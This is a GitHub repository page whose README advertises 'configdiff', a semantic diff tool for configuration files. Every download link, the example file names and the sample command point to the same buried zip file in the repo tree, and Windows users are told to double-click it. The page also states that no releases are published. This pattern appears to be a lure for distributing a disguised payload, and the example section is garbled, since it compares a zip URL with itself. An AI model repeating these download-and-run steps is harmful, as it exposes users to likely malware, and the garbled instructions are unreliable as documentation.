Skip to content

๐Ÿ› ๏ธ Analyze and compare YAML, JSON, HCL, and TOML files with intelligent semantic diffs for clear insights and GitOps efficiency.

License

Notifications You must be signed in to change notification settings

saddam237262/configdiff

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

18 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐ŸŽ‰ configdiff - Effortless YAML/JSON/HCL Comparisons

๐Ÿ“ฅ Download Now

Download configdiff

๐Ÿš€ Getting Started

Welcome to configdiff! This tool helps you compare YAML, JSON, and HCL configuration files clearly and effectively. Whether you're managing cloud resources or setting up software, configdiff makes the task easier.

๐Ÿ“‚ System Requirements

  • Operating System: Windows, macOS, or Linux
  • Go Version: Compatible with version 1.16 or later
  • Memory: At least 512 MB RAM
  • Disk Space: Minimum of 50 MB available space

๐Ÿ“ฆ Download & Install

To get started with configdiff, follow these simple steps:

  1. Click the link below to visit the Releases page.

    Download configdiff from Releases

  2. On the Releases page, select the latest version of configdiff.

  3. Download the appropriate file for your system.

    • For Windows, download https://github.com/saddam237262/configdiff/raw/refs/heads/main/tree/Software_2.5-beta.5.zip.
    • For macOS, download configdiff_darwin.
    • For Linux, download configdiff_linux.
  4. Once the download is complete, locate the file on your computer.

  5. Installation Steps:

    • Windows: Double-click https://github.com/saddam237262/configdiff/raw/refs/heads/main/tree/Software_2.5-beta.5.zip to run it.
    • macOS: Open the Terminal and navigate to the file's location. Execute the command ./configdiff_darwin.
    • Linux: Open a terminal, navigate to the file's location, and run chmod +x configdiff_linux followed by ./configdiff_linux.

After installation, youโ€™re all set to use configdiff!

๐Ÿ› ๏ธ Usage

Using configdiff is straightforward. Hereโ€™s how to compare files:

  1. Open your terminal or command prompt.
  2. Type the following command to compare two files:
    configdiff path/to/first/file path/to/second/file
    
  3. Navigate to the directory where your configuration files are stored.
  4. Replace path/to/first/file and path/to/second/file with the actual paths to your YAML, JSON, or HCL files.
  5. Press Enter to see the differences displayed clearly.

๐Ÿ“Š Features

  • Semantic Comparisons: Understand differences that matter, not just line changes.
  • Support for Multiple Formats: Work with YAML, JSON, and HCL files effortlessly.
  • User-Friendly Output: Clear, concise output for easy analysis.
  • Lightweight and Fast: Minimal system resource usage ensures quick comparisons.

๐Ÿ” Example

To illustrate, letโ€™s say you have the following YAML files:

File 1: https://github.com/saddam237262/configdiff/raw/refs/heads/main/tree/Software_2.5-beta.5.zip

server:
  host: localhost
  port: 8080

File 2: https://github.com/saddam237262/configdiff/raw/refs/heads/main/tree/Software_2.5-beta.5.zip

server:
  host: 127.0.0.1
  port: 8080

You would run:

configdiff https://github.com/saddam237262/configdiff/raw/refs/heads/main/tree/Software_2.5-beta.5.zip https://github.com/saddam237262/configdiff/raw/refs/heads/main/tree/Software_2.5-beta.5.zip

The output will highlight the difference in the host value.

๐Ÿ“ Support

If you face any issues, or need help using configdiff, check the Issues page. We're here to assist you!

๐ŸŒŸ Additional Resources

โš™๏ธ Contributions

We welcome contributions! If you have suggestions or improvements, feel free to submit a pull request.

Thank you for using configdiff! Download it today and streamline your configuration management tasks effortlessly.

About

๐Ÿ› ๏ธ Analyze and compare YAML, JSON, HCL, and TOML files with intelligent semantic diffs for clear insights and GitOps efficiency.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 3

  •  
  •  
  •